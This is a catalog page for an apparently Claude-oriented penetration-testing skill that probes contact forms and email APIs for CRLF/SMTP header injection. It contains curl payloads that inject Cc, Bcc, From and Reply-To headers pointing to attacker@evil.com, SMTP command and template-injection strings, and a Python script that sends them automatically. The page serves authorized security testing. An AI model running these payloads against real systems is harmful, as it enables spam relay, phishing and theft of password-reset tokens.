
Testing For Email Header Injection
- 188 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
testing-for-email-header-injection is a Claude Code security skill that tests web app email features for SMTP/CRLF header injection allowing recipient tampering and spam relay abuse.
About
This skill tests web application email functionality for SMTP header injection, where CRLF characters in user input let an attacker add headers, change recipients, or abuse contact forms as a spam relay. It identifies email injection points, injects Cc, Bcc, From, and Reply-To headers, tests IMAP/SMTP command injection and JSON email APIs, then validates whether injected copies arrive. A developer uses it during a penetration test of contact forms, password resets, or email API endpoints. It uses Burp Suite and test email accounts.
- Tests contact forms and email APIs for CRLF header injection
- Injects Cc, Bcc, From, and Reply-To headers
- Tests IMAP/SMTP command injection and spam-relay abuse
- Covers form-encoded and JSON email API endpoints
Testing For Email Header Injection by the numbers
- 188 all-time installs (skills.sh)
- +8 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #798 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
testing-for-email-header-injection capabilities & compatibility
Free skill; requires Burp Suite and test email accounts.
- Capabilities
- email header injection testing · crlf injection testing · smtp injection testing · spam relay testing
- Use cases
- security audit · testing · email
- Pricing
- Free
What testing-for-email-header-injection says it does
Test web application email functionality for SMTP header injection vulnerabilities
abuse contact forms for spam relay
Inject additional email headers via CRLF in the email field
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-email-header-injectionAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 188 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
Can CRLF characters in a form field inject new email headers, change recipients, or turn the form into a spam relay?
Testing contact forms and email APIs for CRLF/SMTP header injection and spam-relay abuse during a pentest.
Who is it for?
Penetration testers assessing whether user input reaches email headers and enables Cc/Bcc injection or spam relay.
Skip if: Testing without authorization, or teams wanting to build safe email handling rather than attack it.
When should I use this skill?
When testing contact forms, password reset, newsletter, or email API endpoints that send email based on user input.
What you get
A documented injection chain per vulnerable field, with the encoding used and the spam-relay or phishing impact.
- Identified email injection points per field
- Confirmed CRLF/SMTP header injection with required encoding
- Documented spam-relay or phishing impact chain
By the numbers
- 5 MITRE ATT&CK technique references (T1190, T1059.007, T1505.003, T1083, T1055)
- 6-step workflow from injection-point discovery to validation
Files
Testing for Email Header Injection
When to Use
- When testing contact forms, feedback forms, or "email a friend" functionality
- During assessment of password reset email functionality
- When testing newsletter subscription or notification email systems
- During penetration testing of applications that send emails based on user input
- When auditing email-related API endpoints for header injection
Prerequisites
- Burp Suite for intercepting and modifying HTTP requests
- Understanding of SMTP protocol and email header structure
- Knowledge of CRLF injection techniques (\r\n sequences)
- Test email accounts for receiving injected emails
- Access to application features that trigger email sending
- SMTP server logs access for monitoring injection attempts
Workflow
Step 1 — Identify Email Injection Points
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields
# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms
# Test basic functionality first
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello&message=Test message"Step 2 — Test for CRLF Header Injection
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"
# Inject BCC header
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"
# Inject via the name field
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"
# Inject via subject field
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"
# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0D%0ACc:attacker@evil.com"
# %0A (LF only)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ACc:attacker@evil.com"
# %0D (CR only)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0DCc:attacker@evil.com"
# Double encoding
curl -X POST http://target.com/contact \
-d "email=test@test.com%250ACc:attacker@evil.com"Step 3 — Inject Custom Email Content
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# Inject additional MIME parts
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# Override From header for email spoofing
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AFrom:ceo@target.com"
# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AReply-To:attacker@evil.com"Step 4 — Test IMAP/SMTP Injection
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP command injection
curl -X POST http://target.com/api/send \
-d "to=test@test.com%0ARCPT TO:attacker@evil.com"
# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
-d "email=test@test.com%0AVRFY admin"
# Test SMTP relay abuse
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"Step 5 — Test JSON-Based Email APIs
# JSON API header injection
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'
# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'
# Template injection in email body
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'Step 6 — Validate Findings
# Check if injected CC/BCC emails were received
# Monitor attacker@evil.com inbox for received copies
# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers
# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC
# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)Key Concepts
| Concept | Description |
|---|---|
| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |
| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |
| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |
| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |
| MIME Manipulation | Injecting MIME boundaries to override email body content |
| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |
| Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for modifying email-related form submissions |
| swaks | Swiss Army Knife for SMTP testing and header injection validation |
| OWASP ZAP | Automated scanner with email injection detection |
| mailhog | Local SMTP testing server for capturing injected emails |
| smtp4dev | Development SMTP server for monitoring email injection results |
| Nuclei | Template scanner with email header injection detection templates |
Common Scenarios
1. Spam Relay — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain 2. Phishing via Contact Form — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization 3. Password Reset Hijack — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim 4. Email Content Override — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content 5. Internal Email Abuse — Use header injection to send emails to internal addresses not normally accessible through the application
Output Format
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)
### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |
| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |
### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing for Email Header Injection
CRLF Encoding Variants
| Encoding | Representation | Description |
|---|---|---|
%0A | LF | URL-encoded line feed |
%0D%0A | CRLF | URL-encoded carriage return + line feed |
%0D | CR | URL-encoded carriage return |
%250A | Double-encoded LF | Bypasses single decode |
\n | Raw LF | Direct newline character |
Injectable Headers
| Header | Impact | Severity |
|---|---|---|
| Cc: | Send copy to attacker | High |
| Bcc: | Hidden copy to attacker | High |
| From: | Email spoofing | Medium |
| Reply-To: | Phishing redirect | Medium |
| Subject: | Subject override | Low |
| Content-Type: | Body injection | High |
| To: | Additional recipients | High |
Common Injection Points
| Endpoint | Field | Risk |
|---|---|---|
| /contact | email, name, subject | Header injection |
| /share | to, from | Recipient injection |
| /invite | Mass invitation abuse | |
| /forgot-password | CC token to attacker | |
| /api/send-email | to, subject, body | Full control |
Attack Scenarios
| Scenario | Technique |
|---|---|
| Spam relay | Inject BCC with mass recipients |
| Phishing | Override From/Reply-To |
| Password reset hijack | CC reset token email |
| Content override | MIME boundary injection |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests | >=2.28 | HTTP form submission |
json | stdlib | Report generation |
References
- OWASP Email Injection: https://owasp.org/www-community/attacks/Email_Injection
- swaks SMTP testing: https://www.jetmore.org/john/code/swaks/
- mailhog: https://github.com/mailhog/MailHog
#!/usr/bin/env python3
"""Agent for testing email header injection vulnerabilities.
Tests web application email functionality for SMTP header injection
via CRLF sequences, allowing injection of CC/BCC headers, From
spoofing, MIME manipulation, and spam relay abuse.
"""
import json
import sys
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
CRLF_ENCODINGS = [
("%0A", "LF (URL-encoded)"),
("%0D%0A", "CRLF (URL-encoded)"),
("%0D", "CR (URL-encoded)"),
("\n", "Raw LF"),
("\r\n", "Raw CRLF"),
("%250A", "Double-encoded LF"),
("%25250A", "Triple-encoded LF"),
]
HEADER_PAYLOADS = [
("Cc:attacker@evil.com", "CC injection"),
("Bcc:attacker@evil.com", "BCC injection"),
("From:ceo@target.com", "From spoofing"),
("Reply-To:attacker@evil.com", "Reply-To hijack"),
("Subject:Injected Subject", "Subject override"),
("Content-Type:text/html", "Content-Type injection"),
("To:victim@target.com", "Additional recipient"),
]
class EmailHeaderInjectionAgent:
"""Tests web apps for email header injection vulnerabilities."""
def __init__(self, target_url, output_dir="./email_injection"):
self.target_url = target_url.rstrip("/")
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _post(self, path, data, content_type="form", timeout=15):
if not requests:
return None
url = f"{self.target_url}{path}" if path.startswith("/") else self.target_url
try:
if content_type == "json":
return requests.post(url, json=data, timeout=timeout)
return requests.post(url, data=data, timeout=timeout)
except requests.RequestException:
return None
def test_field_injection(self, endpoint, field_name, base_email,
base_payload=None):
"""Test a specific form field for header injection."""
results = []
base = base_payload or {}
for crlf, crlf_desc in CRLF_ENCODINGS:
for header, header_desc in HEADER_PAYLOADS:
payload = {**base}
payload[field_name] = f"{base_email}{crlf}{header}"
resp = self._post(endpoint, payload)
if not resp:
continue
injected = False
indicators = [
resp.status_code in (200, 302),
"sent" in resp.text.lower() or "success" in resp.text.lower(),
"error" not in resp.text.lower() and "invalid" not in resp.text.lower(),
]
if sum(indicators) >= 2:
injected = True
if injected:
result = {
"field": field_name,
"crlf_encoding": crlf_desc,
"header_injected": header_desc,
"payload": f"{base_email}{crlf}{header}",
"status_code": resp.status_code,
}
results.append(result)
self.findings.append({
"severity": "high",
"type": "Email Header Injection",
"detail": f"{field_name}: {header_desc} via {crlf_desc}",
"endpoint": endpoint,
})
break
return results
def test_contact_form(self, endpoint="/contact", base_email="test@test.com"):
"""Test a contact form for header injection across all fields."""
fields_to_test = ["email", "name", "subject", "from", "reply_to"]
base_payload = {
"email": base_email,
"name": "Test User",
"subject": "Security Test",
"message": "This is an authorized security test.",
}
all_results = []
for field in fields_to_test:
if field in base_payload or field in ("from", "reply_to"):
results = self.test_field_injection(endpoint, field, base_email, base_payload)
all_results.extend(results)
return all_results
def test_json_api(self, endpoint, base_email="test@test.com"):
"""Test JSON-based email API for injection."""
results = []
payloads = [
{"to": f"{base_email}\nCc:attacker@evil.com", "subject": "Test", "body": "Test"},
{"to": [base_email, "attacker@evil.com"], "subject": "Test", "body": "Test"},
{"to": base_email, "subject": "Test\nBcc:attacker@evil.com", "body": "Test"},
]
for i, payload in enumerate(payloads):
resp = self._post(endpoint, payload, content_type="json")
if resp and resp.status_code in (200, 201):
results.append({
"payload_index": i,
"status": resp.status_code,
"response_preview": resp.text[:100],
})
self.findings.append({
"severity": "high",
"type": "JSON Email API Injection",
"detail": f"Payload {i} accepted at {endpoint}",
})
return results
def test_smtp_commands(self, endpoint, field_name="email", base_email="test@test.com"):
"""Test for SMTP command injection."""
smtp_payloads = [
f"{base_email}\nRCPT TO:<attacker@evil.com>",
f"{base_email}\nVRFY admin",
f"{base_email}\nDATA\nSubject: Injected\n\nBody",
]
results = []
for payload in smtp_payloads:
data = {field_name: payload, "message": "Test"}
resp = self._post(endpoint, data)
if resp and resp.status_code in (200, 302):
results.append({"payload": payload[:60], "status": resp.status_code})
return results
def generate_report(self, endpoint="/contact"):
form_results = self.test_contact_form(endpoint)
report = {
"report_date": datetime.utcnow().isoformat(),
"target": self.target_url,
"endpoint": endpoint,
"form_injection_results": form_results,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "email_injection_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <target_url> [--endpoint /contact]")
sys.exit(1)
url = sys.argv[1]
endpoint = "/contact"
if "--endpoint" in sys.argv:
endpoint = sys.argv[sys.argv.index("--endpoint") + 1]
agent = EmailHeaderInjectionAgent(url)
agent.generate_report(endpoint)
if __name__ == "__main__":
main()
Related skills
FAQ
What vulnerability does this test for?
SMTP header injection via CRLF sequences that lets attackers add headers, modify recipients, and abuse contact forms for spam relay.
Which fields does it target?
From name/email, To/CC sharing fields, subject lines, and Reply-To fields on contact, share, invite, send-email, and password-reset endpoints.
How is a finding validated?
By checking whether injected Cc/Bcc copies were received and inspecting the raw email source for injected headers.